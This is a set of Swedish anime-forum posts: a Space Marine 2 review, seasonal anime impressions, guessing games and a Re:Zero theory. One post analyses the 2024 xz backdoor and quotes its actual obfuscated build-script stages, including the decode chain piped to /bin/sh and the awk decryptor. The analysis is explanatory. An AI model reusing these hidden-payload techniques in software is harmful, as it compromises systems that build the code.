lika generöst som tidigare och du är mer sårbar då det är en hel svärm mot dig och dina bröder. När du skadar/disorienterar monstren nog kan du avrätta dom med riktigt coola animationer som samtidigt återställer ditt pansar, så kontra mycket för att kedja ihop avrättningar så du håller dig vid liv. Space Marine 2 är den fullständiga erfarenheten: en kampanj med stöd för 2 vänner att hoppa in i, ett co-op läge för tre personer som fungerar som sidouppdrag mot huvudstoryn och ett PvP-läge 5 mot 5. I kampanjen kan du inte ändra Titus utöver hans vapen, men i de andra lägena finns det olika klasser som beter sig annorlunda och kan ändras hur du vill. Du låser upp nya rustningsbitar, målar dom i ditt favoritchapters färger och uppgraderar vapen och klass med olika perks. Du har nu ett dress up game för 40k-nördar! Dessutom finns lägen för alla olika spelartyper, men PvP har nog minst innehåll för tillfället. Bara 3 banor och de andra laget (kaos) kan inte ändra det kosmetiska. Många är dock rätt nöjda med spelloopen och är rätt bra balanserat överlag. Grafik Att simulera ett krig i bakgrunden samtidigt som du dödar en fiende med deras egna klor du slitit av från deras arm är svårt att föreställa sig, men dom har lyckats med det. Extremt krävande med när man ser på skalan som målas upp och alla dödsanimationer du kan få till så känns det som att det är värt det. Gillar du blod och skadedjursmassaker i stil med nya Dead Space så har du hittat rätt. Detaljerna på din rustning är också top notch. Generatorn utblås på din rygg blåser konstant, tyger och kåpor flyter runt i vinden och med dina rörelser och alla explosioner är magnifika. Vacker förödelse helt enkelt! Ljud Du hör i bakgrunden en något gothinspirerad kyrkokör men ditt fokus kommer nog vandra mer mot din arsenal. Att stycka och stampa Tyranids känns riktigt köttigt och de ikoniska skjutvapnen från universumet har en riktig kick i sig. Det som faller kort är de olika karaktärerna som varierar mellan intressanta sidokaraktärer och ganska medel huvudkaraktärer, ännu värre när dom körs via radiofiltret där alla låter likadant. Tur att fokus var på förstörelsen och att dom fick till det. Sammanfattning Space Marine 2 hade stor hype bakom sig och det verkar ha levererat en fullständig upplevelse, vilket är ganska uppfriskande för ett modernt spelsläpp. Mer innehåll är planerat för co-op och PvP så räkna med mera timmar att lägga ner på denna titel. Detta är ett kärleksbrev till alla 40k-fans. Omdöme: For the Emperor/10

Nu har även jag börjat beta av den nya säsongen, och det gick rätt fort för mig att inse att det kanske inte var så mycket intressant nu i sommar ändå. Shikanoko Nokonoko Koshitantan klarade jag knappt en avsnitt av. Tunn och tråkig. Jag ville gilla den, introlåten är ju skojig, men trots ett bra upplägg för absurdism så blir varken serien eller karaktärerna djupare än det pappersblad de skrevs på. Narenare såg jag specifikt för att P.A. Works producerade, men här kom jag på sin höjd bara en kvart eller så in i avsnittet innan jag helt zonat ut. Igen fylls skärmen av platta och personlighetslösa karaktärer, det enda som sticker ut är en person som parkourar till och från skolan. Kul att se, men det tillförde ingenting av substans till handlingen. Giji Harem verkade skojig på pappret. Romantisk skolkomedi med en tvist. De har satt stämningen, men seriens pacing är lidande av att den allt för tydligt följer ett sketchupplägg där varje avsnitt består av en serie scener som alla är separata från varandra. Visst, älskar man konceptet och kan se varianter av samma skämt spelas upp i tolv avsnitt utan karaktärsutveckling så är ju detta prima, men för egen del vill jag gärna att handlingen skall leda någonstans. Fortsätter långsamt att kolla på den dock utifall att det skulle hända något. Annars bra serie att somna till. Alya Sometimes Hides Her Feelings in Russian var inledningsvis rätt kul, men efter ett par avsnitt är den alltmer ojämn. Inte minst när de försöker sig på drama och handling. Killens lillasyster känns grovt malplacerad sett till seriens ton i övrigt, men avsnitten där hon figurerar är även de avsnitt där Alya är som bäst. Just nu är serien rätt medioker imo, men jag tittar väl vidare ändå. Mayonaka Punch är den andra serien av P.A.Works och denna verkar vara väsentligt mer i stil med vad jag förväntar mig från studion. Välanimerat och högt tempo. Har bara sett ett avsnitt, och även om jag själv har lite svårt för denna typen av YouTubare som serien handlar om (inte minst känner jag att målgruppen för serien egentligen inte innefattar mig) så skulle det inte förvåna mig att PA får det att gå ihop. Starkare start än cheerleading-serien, utan tvekan! Makeine - Too many losing heroines! Är nog säsongens höjdpunkt än så länge. På tok för höga produktionsvärden, långt bättre än serien förmodligen förtjänar. Första avsnkrtets intro påminner mer om en film än en skolkomedi om över dramatiska tonårsrelationer. För tankarna till Gamers! och andra serier med komplicerade relationsdiagram, underhållande. Serien är inte bara snygg och underhållande, utan majoriteten av karaktärerna är färgstarka med relativt naturlig dialog, samt att upplägget till handlingen genomsyras av småskalighet och dumhet vilket ger en SOL-altig feeling. Det är det jag hunnit med den här säsongen, hittills. Jag såg precis färdigt på Railgun T och Sound Euphonium och kan inte annat än att jämföra karaktärerna med denna säsongens, och det är svårt för nykomlingarna att mäta sig. Var även besviken över PA och deras cheerleading, började istället se om Hanasaku Iroha vilket är väsentligt bättre underhållning.

Vi är nu i en post-Frieren era, hur ska vi överleva? Nåja, vi kan trösta oss med att My Hero Academia... nevermind.

Hon är fascinerad av gyaru-kultur. Den handlar om mig! Din tur.

Några dagar sent men nu har jag varit medlem på denna sida i hela 18 år. Det betyder att jag har varit medlem på denna sida i halva mitt liv. Det betyder också att jag börjar bli gammal.

Hade glömt bort att Jellyfish Cant Swim in the Night var en Dogs Kobo-serie. Bestämde mig för att börja kolla på den igår och den andas kvalitet så långt som jag sett hittills. Den har gjort ett bra jobb med att generera ett fokus och mening till handlingen, och på bara två avsnitt har man lyckats kräma ut riktigt mycket backstory och karaktärsutveckling för tre av de troligtvis fyra huvudrollerna. Också roligt hur de valt ett gammalt DnD DM-knep att låta alla karaktärer vara relaterade till varandra på något sätt redan från start för att rivstarta deras interaktioner. Än så länge bra skit, gillar också hur serien avbildar "ute på stan"-feelingen, lite samma känsla som spelet The World Ends With You. Även Bartender har blivit veckotittning sedan ett par dagar tillbaka, tänkte direkt när jsg såg den att "oj, har de tagit den gamla serien med gett den lite handling?"... men det visar sig att åtminstone första avsnittet är extremt lika i båda varianterna. Uppskattar den mycket mer nu än när jag såg originalet, tänker mig att det kanske är av samma anledning som jag tyckte Tatami Galaxy var bra först efter att jag väntat 6-10 år på att ge den en chans efter jag först försökt. Kanske är jag helt enkelt mycket mer uppskattande av prat och långsam drama? Fast iofs, Tatami Galaxy var väl inte speciellt långsam.

Japp, Liliruka Arde

Gör ett försök på ett nytt minigame: gissa favoriterna. Hur bra koll har vi på varandras smaker? Tanken är att personen som har bollen väljer ett anime&manga-relaterat ämne och privat skriver ner en lista av sina favoriter från valt ämne. Alla andras uppgift är att gissa vilka som är favoriterna. Behövs det så kan ledtrådar ges för att hjälpa deltagarna. När alla favoriter har gissats så får personen som hade flest rätt välja nästa ämne (eller skriva sin egen lista för samma ämne, om man vill). Några tankar/regler: Preliminärt 10 favoriter per ämne. Hade egentligen velat ha fler men misstänker att det hade dragit ut på tiden alldeles för mycket. Om flera personer får lika många rätt så vinner den som gjorde sin sista korrekta gissning först Gör du flera gissningar per post så får du endast rätt om alla svaren var rätt. Detta för att förhindra poster med tex hundratals gissningar där man hoppas att någon/några är rätt. Har du förslag på förändringar som hade kunnat göra minigamet bättre, är det bara att skriva. --- Kickar igång spelet! Ämne: Kvinnliga karaktärer i anime&manga - - - - - - Holo - - - Ledtråd 1: Jag dejtade denna karaktär en gång i tiden

Det är definitivt blandade kriterier. Jag har en soft spot för emotionella scener, och flera av mina favoritkaraktärer är där på grund av någon sådan som drog i hjärtsträngarna, men vissa andra är baserad på deras design, söthet eller specifika karaktärsegenskaper.

Den här leken är på tok för avancerad för mig, men jag har en gissning på femman och tänkte egentligen gissa redan på första ledtråden. Hon som spelar Euphonium i Sound Euphonium (Kumiko Oumae, hette hon efter lite googling). Först och främst föra att hon notoriskt utstöter en mängd läten som utfyllnad vid samtal, något som används på tok för sällan för att få dialog att flyta bättre. Dels för att jag vill minnas att hon hela tiden var relativt bra på euphoniumen, bättre än vad hon själv trodde, men saknade motivationen till att spela, men när den kom till baka har jag för mig att hon uttryckte att hon ville bli bättre på instrumentet. Gällande bänken har jag ingen aning. Men efter att ha googlat på namnet och "bench" så visar det sig att en bänk har uppenbarligen helt glömt av från serien finns markerad på Google Maps. Om detta faktiskt innebär att den är ett populärt resmål eller snarare ett random fan som bara satt ut den på en karta låter jag vara osagt.

Dags att återuppliva ett årsgammalt kadaver! I den säsongsaktuella A Salad Bowl of Eccentrics så stöter vi på följande blonda trettonåring: Tyvärr är hon inte från Öland på riktigt, detta är bara hittepå för att dölja det faktum att hon egentligen ramlade in i Japan från en portal till ett parallellt universum.

Jsg har ruckat på ytterligare en serie som jag nu följer istället för att vänta till säsongens slut: Voice Actor Radio! Sammanfattningsvis mycket mer drama och fokus på kändisskapet/idol-industrin än jsg tänkte mig, och nästan inget fokus på radio. Fortfarande underhållande, dock inte något speciellt. Desto bättre är A Salad Bowl of Eccentrics som inte ens var med på min lista över huvud taget, men som är som en slags hybrid mellan Konosuba, The Devil is a Part-timer och Hinamatsuri. MYCKET underhållande där vi träffar en väldigt brokig skara människor från en fantasivärld som försöker anpassa sig efter det tråkiga vardagslivet i Japan. Kombinerat med dåligt omdöme och relativt fräscht halvtykna karaktärer som kanske inte alltid visar sin bästa sida mot varandra, och inte heller tar de bästa besluten de borde så får vi åtminstone tre avsnitt in en rätt bra situationskomedi som gör ett bra jobb att maskera att man i själva verket kollar på en avsnittslång reklamfilm för Gifu och områdena däromkring. (Serien har dessutom lite sverigeanknytning då en bestående lögn kring en av huvudkaraktärernas härkomst är att denne rest till Japan från Öland)

Aha! Sanrio + idol-/musikanimeälskaren Raccomunk = Show by Rock, vars huvudperson heter Cyan – vilket är namnet på färgen mellan blå och grön. (Red.:) Och naken karate är Misora i Hagure Idol?

Kayo-chin... Är det möjligt från Love Live? Men är det Rin eller Hanayo?

Aha, sexan är den där vampyren i Monogatari! Jag har bara sett Bakemonogatari och där gör hon ingenting, men hon heter väl nåt konstigt typ Kiss-shot Heart-under-blade och gillar munkar, vad jag förstår. Jag har dock ingen pejl på vad som gör henne topplistematerial.

Lite snedare tänkt så finns det ju en anime som heter Date-A-Live med en figur som är ganska populär: Kurumi Tokisaki.

Om din avatar är en ledtråd så är det visst en tjej som heter Kanon i Bang Dream. 🧐 (Jag låtsas att emojins monokel är ett förstoringsglas.) (Red.: Förresten så kan man bara redigera gamla inlägg i två dygn, så du kommer nog att behöva "ta med" svarslistan i nya inlägg.)

Holo!

Är det möjligtvis Dogs Kobos inte fullt så lyckade "Wataten"?

Ja för fanken! Jag hade också glömt av stora delar av handlingen, även om de två huvudkaraktärerna ändå fått bo kvar i minnet. Precis som den där reklamlåten de spelar in senare i serien. Men nu när jag googlade lite i samma veva som jag körde bilderna så upptäckte jag slutet var extremt kontroversiellt, så pass att mangatecknaren uttryckte sin besvikelse över slutet av animen. Uppenbarligen skall detta ha lett till att slutet på serien var marginellt annorlunda på Blu-Ray releasen, och att den ena OVA:en ändå hintar på att både björnen och tjejen kommer resa till Tokyo ändå. Så budskapet ändrades lite, lite i slutändan.

Ingen ny bild från wilfried på 7 dagar så tar och sparkar igång tråden igen.

Våren hade inte jättemycket att erbjuda för min del så jag hänger kvar vid ett par eftersläntrare såsom Frieren, The Apothecary Diaries och ett par andra. Men det innebär ju inte att man helt ska släppa vårsäsongen för där finns det ju några måsten! Spice and Wolf var jag väldigt taggad på tills jag såg att det var en reboot... Jag vill ju ha nytt material, inte idisslad. Nåja, håller ett litet öga på den för att se om den är annorlunda på något vis. Laid-back Camp S3 är ju ett måste! En av de skönare slow-TV serierna som gjorts på länge och dessutom väldigt snygg. Ren reklam för Hakone området runt Mt. Fuji kan man ju lätt säga och ja, jag är sjukt lockad att ta en tripp dit nästa gång jag är i Japan och campa på någon av ställena i serien. 😁 Får se om studiobytet påverkat negativt eller om det fortsatt håller samma klass som tidigare. Sound Euphonium S3 är säsongens absoluta måste helt klart! Har sett fram emot det här riktigt mycket och passade på att se om säsong 2 nyligen bara för att få upp allt färskt i minnet. Ska kolla in tredje filmen och Liz and the Blue Bird här också innan jag ger mig på säsong 3. Tänkte låta det gå nån vecka till så man kan se 2-3 ep. på raken. Som fan av Kyotos stolthet Tachibana SHS Marching Band så är det här en klockren serie att följa för att den är väldigt realistisk på så många plan som man inte tänker på egentligen och den ger en också en rätt bra insyn i hur en sådan här klubb fungerar och hur tänket kan gå bland de inblandade eleverna. Sen att den dessutom är riktigt snyggt gjort är ju bara grädde på moset. Astro Note verkar lite smått intressant men vi får se vad det kan bli av den. Blir det för kletigt och stereotypiskt så droppas den nog. Har kollat in första avsnittet och jag är inte helt övertygad om att det är min grej än men vi får se. The Many Sides of Voice Actor Radio En möjligt serie som jag inte vet något om alls egentligen annat än vad jag läst i synopsis. Men tänkte ge den en chans iaf. så får vi se. T・P BON En liten obskyr serie som tydligen Netflix levererar. Idén verkar ju lite småkul, frågan är dock om den kan leverera också. Håller mig hälsosamt skeptiskt till motbevisad. Bartender tänkte jag väl endast kolla in av rent professionellt intresse, men man vet ju aldrig. Man har ju blivit överraskad förr. Vad det gäller filmer så är det nog bara två som lockar den här säsongen: KuramerukagariI och My Oni Girl. Den senare går ju på Netflix så den blir det iaf. inte svårt att se. Den andra däremot blir kanske lite bökigare, men det brukar gå med lite list och Google-fu. 😇

Jadu, inte varit inloggad på många år. Ser en hel del familjära ansikten runt omkring forumet, kul att se att det är många som har hängt kvar. Jag har blivit äldre och kollar om på gamla klassiker nuförtiden, eller jag följer ett par titlar varje år fortfarande. Ska försöka vara mer aktiv. Vi ses i cyberrymden mina vänner.

Senaste veckan har det uppdagats en planterad bakdörr i ett komprimeringsbibliotek "xz" som används av SSH, så att fjärranslutningar till Linux är osäkra. Den upptäcktes i princip av en slump: det var en person som märkte att SSH-inloggning var en halv sekund långsammare än vanligt, blev misstänksam, och började kolla upp det. Bakdörren planterades av någon som arbetat i några år på att verka pålitlig (genom många till synes nyttiga kodbidrag), och bakdörren är så pass invecklad att det med största sannolikhet rör sig om "statssponrad hacking". Skurken har ett kinesiskt namn, men det kinesiska namnet verkar vara en osannolik blandning av namn från olika delar av Kina, och "personen" har varit verksam under kinesiska nyåret men inte under östeuropeiska högtider, så Ryssland ser misstänksamt ut. Detta har lyft fram riskerna med öppen mjukvara. Många ögon kanske kan hitta buggar, men väldolda bakdörrar av denna sort kan ju finnas var som helst. Det var bara tur att denna hittades så här fort: denna låg ute i drygt en månad. Bakdörren i xz kom djupt dold i ett kodtest, och "packas upp" genom processen för att bygga källkoden på Linux. Konfigurationsfilen som körs sätter nämligen en variabel gl_am_configmake: gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null` if test -n "$gl_am_configmake"; then HAVE_PKG_CONFIGMAKE=1 else HAVE_PKG_CONFIGMAKE=0 fi Det ser ut som att avsikten är att testa huruvida systemet har "configmake", men vad den verkligen gör är att läsa igenom hela källkodsförrådet efter alla filer, inklusive binära filer, som innehåller en textsträng på formen "####ABCDE####" där "ABCDE" representerar fem bokstäver/siffror. Det här är utmatningen från kommandot: $ grep -aErls "#{4}[[:alnum:]]{5}#{4}$" ./ 2>/dev/null ./tests/files/bad-3-corrupt_lzma2.xz Om man öppnar tests/files/bad-3-corrupt_lzma2.xz som en textfil så ser man "####Hello####" och "####World####", vilket inte känns så ohederligt och konstigt eftersom filen ska vara en trasig komprimerad fil. Kommandot grep returnerar alltså sökvägen för filen, och därmed är det innehållet i variabeln gl_am_configmake. Men gl_am_configmake används på till synes helt normala sätt, Till exempel: gl_localedir_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"` Vad som än finns i gl_am_configmake så fungerar det ju i övrigt, så man har ju ingen särskilt anledning att vara misstänksam. Vad som händer här är att "./tests/files/bad-3-corrupt_lzma2.xz" omformas till "xz", vilket ju är ett helt rimligt "localedir_prefix"! $ grep -aErls "#{4}[[:alnum:]]{5}#{4}$" ./ 2>/dev/null | sed "s/.*\.//g" xz Senare i byggprocessen så används dock variabeln så här: if test "x$gl_am_configmake" != "x"; then gl_localedir_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_localedir_prefix -d 2>/dev/null' else gl_localedir_config='' fi där gl_localedir_prefix som sagt är "xz" och gl_path_map definieras bland några andra variabler: gl_sed_double_backslashes='s/\\/\\\\/g' gl_sed_escape_doublequotes='s/"/\\"/g' gl_path_map='tr "\t \-_" " \t_\-"' gl_sed_escape_for_make_1="s,\\([ \"&'();<>\\\\\`|]\\),\\\\\\1,g" Det är lätt att skumma här och anta att gl_path_map innehåller anvisningar för något slags sätt att fixa till en sökväg, oavsett eller ej om man ser att den innehåller ett anrop till kommandot "tr" som gör teckenersättning i text; här: byt ut alla tab mot mellanrum, mellanrum mot tab, minus mot understreck, understreck mot minus. Raden är alltså: gl_localedir_config='sed \"r\n\" $gl_am_configmake | tr "\t \-_" " \t_\-" | xz -d 2>/dev/null' Kommandot "sed" (stream editor) är gjort för att behandla text. Kanske \"r\n\" ska se ut som att den ska konvertera Windows-radbrytningar (\r\n) till Unix-radbrytningar, men "r\n" tolkas istället som "behandla text och lägg sedan till innehållet i filen som heter backslash-n" (filen finns inte och sed klagar inte). Så "sed" gör egentligen inget annat än att läsa in bad-3-corrupt_lzma2.xz; resultatet genomgår teckenersättning, och matas därefter till komprimeringskommandot "xz" och blir ett shellscript, som lagras i variabel gl_localedir_config. $ sed "r\n" ./tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d ####Hello#### #▒U▒▒$▒ [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config.status` srcdir="../../$srcdir" fi export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh ####World#### xz: (stdin): Unexpected end of input (Felrapporten "unexpected end of input" som jag får filtreras bort i skurkscriptet genom "2>/dev/null".) Det intressanta kan delas upp för läslighet: export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)" (xz -dc $srcdir/tests/files/good-large_compressed.lzma | eval $i | tail -c +31233 | tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377") | xz -F raw --lzma1 -dc | /bin/sh Inte ens detta dolda shellscript ser ju egentligen hotfullt ut. Filen good-large_compressed.lzma är ju bara nonsensdata som går att komprimera väl... vill de att vi ska tro. Vad som händer är detta: Variabeln "i" innehåller i princip en lista på kommandon att utföra på senare kommande indata. "head -c N" skriver ut de första N byten i sin indata. I princip så förbrukas lite (1024 eller 2048 byte, slutligen 939 byte) av indatan vid varje anrop av "head", så vad den gör är att ibland "spara" en del av sin indata (genom utskrift, som fungerar som utdata) och ibland "kasta" en del av sin indata (p.g.a. ">/dev/null"). Enkelt exempel som skriver ut "abc", kastar bort "def", skriver ut "ghi": $ echo abcdefghi | (head -c 3 && (head -c 3 >/dev/null) && head -c 3) abcghi Så vi ser att filen good-large_compressed.lzma extraheras och blir indata till "head"-kommandona, för att kasta bort obfuskeringsdata. Därefter så används "tail" för att bara behålla all binärdata från byte nummer 31233, och därefter så utförs "teckenersättning" på binärdatan igen för att omforma nonsensdatan inuti good-large_compressed.lzma till en _giltig_ komprimerad fil vars innehåll är ett annat shellscript som matas till och direkt utförs av /bin/sh. Detta shellscript är (mer eller mindre) detta: https://www.openwall.com/lists/oss-security/2024/03/29/4/1 Scriptet analyseras bl.a. här https://gynvael.coldwind.pl/?lang=en&id=782 men jag sammanfattar: xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true Läsligare: xz -dc good-large_compressed.lzma | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{decryption_code_here}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o Denna rad från scriptet extraherar samma fil som tidigare good-large_compressed.lzma och kastar bort samma data som tidigare, men genom "sed" så sätts varje byte på egen textrad och matas till kommandot "awk" som är en programmerbar rad-för-rad-textbehandlare; texten från och med "BEGIN" till och med "(v+k)%m}" är awk-programmet som är en dekrypterare, d.v.s. awk tar in krypterad data och matar ut dekrypterad data... som är komprimerad data som matas in till "xz" för att extraheras, varpå onödig data kastas bort med "head" igen. Resultatet skrivs ut till liblzma_la-crc64-fast.o, vilket är en objektfil (en programkodsfil) med en bakdörr. 🤯 Alltså: byggscriptet använder shellscript-lustigheter för att få sökvägen till en "oskyldig" testfil i form av en trasig "zip-fil"; testfilen genomgår lite "oskyldig" behandling för att bli en fungerande "zip-fil" som innehåller ett shellscript som när det körs packar upp en "oskyldig" fungerande "zip-fil" och behandlar dess "nonsensinnehåll" för att att omvandla det till en fungerande "zip-fil" som i sig innehåller ett shellscript som när det körs packar upp den fungerande test-"zip-filen" och behandlar den på ett annat sätt för att få ut krypterad data som dekrypteras och behandlas för att bli en lömsk objektfil som inkluderas i byggningen. Typ: good-large_compressed.lzma = compress(obfuscate(obfuscate(encrypt(compress(obfuscate( backdoor.o )))))) bad-3-corrupt_lzma2.xz = obfuscate(compress( script_to_get_backdoor.sh ))

Mja, Here’s what we know so far: some time ago, an unknown party evidently noticed that liblzma (aka xz) — a relatively obscure open-source compression library — was a dependency of OpenSSH, a security-critical remote administration tool used to manage millions of servers around the world. This dependency existed not because of a deliberate design decision by the developers of OpenSSH, but because of a kludge added by some Linux distributions to integrate the tool with the operating system’s newfangled orchestration service, systemd.

…Du har verkligen legat i, jag är imponerad och skäms över min icke-insats till att förbättra. 😰 Men nu kanske man kan lista alla figursajter! \o/

De senaste två månaderna har 26 inloggade medlemmar besökt, varav 19 medlemmar har postat något. Jag delar tyvärr din uppfattning om forumdöden. Populariteten har väl till största delen slukats av andra sociala media vilka är antingen engelskspråkiga eller/och kortformsbaserade, gjorda för småprat. Även vår egen Discord-”server” (länkad nära sidhuvudet) har 43 personer online.

Nu vill jag också vara med i diskussionen. jag började nyligen se på serien för jag brukar inte börja titta på serier under tiden de sänds och har redan hunnit ikapp serien. Avsnitt 25 (det sista) kom ut medan jag såg på 24! Något som jag tycker inte diskuterats tillräckligt i tråden är till vilken tidpunkt som Subaru kommer tillbaka till när han dör. Allt verkar kretsa runt att Subaru ska skydda Emilia (åtminstone i hans huvud). Första "Sparplatsen" är på torget framför Äppla-försäljaren strax innan Felt stjäl Emilias smycke. Det är där alt började i första försöket som ledde till att Subaru och Emilia dödades. Att återvända till just den tidpunken ger Subaru flera möjligheter att rädda Emilia, första han kan göra för att ändra på vad som händer är att stoppa Felt från att stjäla smycket. Att börja tidigare skulle inte hatt någon större effekt och att börja senare skulle tvinga dem till slummern igen och ha hög risk att råka ut för samma öde. I början av serien tänkte jag "Så om Subaru dör så får han börja om dagen från från början". Dock så står han inte vid äppla-försäljaren när han först landade i världen utan han gick runt en stund i staden. Detta stämmer inte heller med andra sparplatsen då han får leva om kanske 4 dagar (varken minns exakt eller räknat dagarna). Det är alltså inte en viss tid, eller är första sparpunkten ett undantag eftersom att han då inte varit där mer än en dag och alltså inte kan skickas tillbaka längre? Andra sparplatsen är precis när han kommit till Emilias herrgård så att Subaru får börja om mötet med alla som bor där. Att inte börja om tidigare betyder att han gjort något som gör att den/det som gett honom förmågan att börja om tycker att det som hänt fram tills dess är bra, både han och Emilia lever och hon vill tacka honom. Men varför inte senare? Om sparplatsen skulle vara en dag eller två senare så skulle de ju minnas hans första intryck, var det inte bra nog? Var inget av de första intrycken bra nog för att vara något att behålla? Tittar vi tillbaka på första sparplatsen kunde han gjort något några minuter senare, vad händer under den första dagen som Subaru kunde gjort som kunde hjälpt på denna delen av historien? Tredje punkten är igen framför äppla-försäljaren, först tror man att han är tillbaka från början innan Rem syns och säger hans namn. Det har hänt flera dåliga saker dagarna mellan att de kom till staden och sparplatsen som inte är bra, både mellan Subaru och Emilia men också flera andras bild av honom, de verkar dock inte vara viktiga nog att ändra på. Att ta en senare plats verkar inte bra, tiden är knapp om han ska kunna förbereda sig och ta sig dit hotet som måste stoppas finns. Fjärde sparplatsen är lite speciell. Subaru återvänder till efter de dödat den flygande vita valen, hans nya sparplats är en plats i tiden i han varit i tidigare, dött, och återvänt till en tidigare sparplats än den han är vid nu. Lite som när han tog av förbannelsen av hundbettet skulle återvända till sparplats 1 och sedan när Rem dödar honom i skogen komma till sparplats 2. Han har left efter den punkten, dött och skickats tillbaka längre en gång än nästa. Denna sparplatsen är bra vald för Subaru kan smyga in lite nytt han precis lärt sig innan de drar iväg och ett stort problem, den vita draken, är död fortfarande. Så vad/vem väljer dessa sparplatser? Är det bästa svaret utanför serien? Är det bästa vi kan komma på att det är författaren som valt dessa och inte motivera det med något i historien? Jag har kommit på en egen förklaring. När Subaru träffar Emilia säger hon att hon heter Satella, häxans namn. Första gången har häxan kort lyckats kontrollera Emilia så att Subaru ska få upp ögonen för henne och vilja skydda henne och därför säger att hon heter Satella, men Satella kan inte hela det försöket styrt Emilia, det verkar inte rimligt att hon är så stark utan bara så pass mycket att hon påverkar händelseförloppet lite grann. Häxan lägger magi på Subaru så att han återupplivas och vaknar vid en punkt hon tidigare bestämt. Detta är en väldigt stark magi Satella är ganska svag just nu, detta begränsar antalet sparplatser i serien. Hon är inte stark nog att kunna uppdatera sparplatsen för varje litet framsteg. Hur passar det innan att Emilia mördas av att han försöker berätta att han kan dö och återvända till en tidigare plats? Det lättaste svaret på det är nog att säga att om någon vet om det så bryts magin, inget ovanligt villkor för magiska formler. Men hur fungerar detta med slutet? Satella har inte fått in i Subarus huvud att sekten är de han borde samarbeta med, eller sekten kanske har fått något om bakfoten och han måste skydda Emilia även från de som vill att Satella ska komma tillbaka? Man kan lägga fram teorin om att draken vi hört om kan ligga bakom detta. Det skulle kunna ge en annan förklaring till att sekten tillåts att dö, men det passar inte in på flera andra punkter som att Subaru luktar häxa och händerna som kramar hans hjärta ser ut som händerna som sektmedlemmarna har. Om nu inte draken och häxan är mycket lika varandra, vad har de gemensamt mer än att de inte direkt verkar finnas i världen utan mest i bakgrunden eller utkanten? Draken nämns mest som en sagofigur tycker jag medan häxan är någon som alla vet funnits och är rädda för. Men häxan igen, hur får hon då kontroll över sin nästa kropp? Sekten finns inte längre, eller åtminstone inte den delen av sekten och jag tänker mig att hennes sekter är det som ger henne kraften att göra något över huvud taget i världen och inte bara vara avskärmad var hon nu är... det kanske bara är en fråga om tid? Draken skulle kunna säga delar av målet uppfyllt, ytterligare några som vill Emilia illa är ur vägen. Varför skyddar draken Emilia då? Är det bara för att inte Satella ska få henne? Verkar allt säga att Emilia måste överleva? vem är hon?

Vanlig anime.seare.